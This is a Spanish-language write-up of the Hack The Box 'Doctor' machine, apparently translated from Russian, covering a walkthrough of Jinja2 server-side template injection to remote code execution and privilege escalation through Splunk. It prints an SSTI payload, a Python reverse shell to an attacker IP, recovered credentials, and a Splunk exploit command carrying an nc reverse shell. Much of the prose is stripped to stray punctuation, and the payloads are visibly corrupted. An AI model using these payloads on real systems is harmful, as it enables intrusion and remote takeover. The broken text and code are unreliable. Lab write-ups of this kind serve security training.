Hack the Box. Tutorial Doctor. SSTI a RCE. LPE a través de Splunkd

Sigo publicando soluciones enviadas para finalización de máquinas desde la plataforma HackTheBox . Espero que esto ayude al menos a alguien a desarrollarse en el campo de la seguridad de la información.





La conexión al laboratorio se realiza mediante VPN. Se recomienda no conectarse desde una computadora de trabajo o desde un host donde haya datos importantes para usted, ya que se encuentra en una red privada con personas que saben algo sobre seguridad de la información :)





Información organizacional

, - , :





- PWN;





- (Crypto);





- c (Network);





-  (Reverse Engineering);





-  (Stegano);





- WEB-;





,  , , .





, , Telegram . , , ().





Recon





IP 10.10.10.209, /etc/hosts.





10.10.10.209    doctor.htb
      
      



.   , - :





#!/bin/bash
ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -A $1
      
      



  .





  /etc/hosts.





10.10.10.209    doctors.htb
      
      



, .





 Entry Point

.





  , .





  .





  , , XSS.





   , .





  , <item><title>. , .





  , .





  XSS, , SSTI. .





 :





</title></item>{{77}}
      
      



</title></item>{{7'7'}}
      
      



</title></item>{{config.items()}}
      
      



  . SSTI , :





{% for x in ().class.base.subclasses() %}
{% if "warning" in x.name %}
{{x().module.builtins'import'.popen("").read().zfill(417)}}
{%endif%}{% endfor %}
      
      



  :





import socket,subprocess,os;
s=socket.socket(socket.AFINET,socket.SOCKSTREAM);
s.connect(("10.10.14.27",4321));
os.dup2(s.fileno(),0);
os.dup2(s.fileno(),1); 
os.dup2(s.fileno(),2);
p=subprocess.call(["/bin/bash", "-i"]);
      
      



  . :





</title></item>{% for x in ().class.base.subclasses() %}{% if "warning" in x.name %}{{x().module.builtins'import'.popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AFINET,socket.SOCKSTREAM);s.connect((\"10.10.14.27\",4321));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\", \"-i\"]);'").read().zfill(417)}}{%endif%}{% endfor %}
      
      



 USER

adm, . Apache pas, secret ..





 Y encontramos una cadena interesante que es la contraseña del usuario.





 Ahora que tenemos las credenciales, intentemos elevar los privilegios aprovechando el servicio Splunk que se ejecuta en el puerto 8089. Usaremos este exploit (https://github.com/cnotin/SplunkWhisperer2/tree/master/PySplunkWhisperer2).





python3 PySplunkWhisperer2_remote.py --lhost 10.10.14.27 --host 10.10.10.209 --username shaun --password Guitar123 --payload '/bin/bash -c "rm /tmp/r.r;mkfifo /tmp/r.r;cat /tmp/r.r|/bin/sh -i 2>&1|nc 10.10.14.27 5432 >/tmp/r.r"'
      
      



 Y obtenemos una conexión posterior con nuestro oyente.












All Articles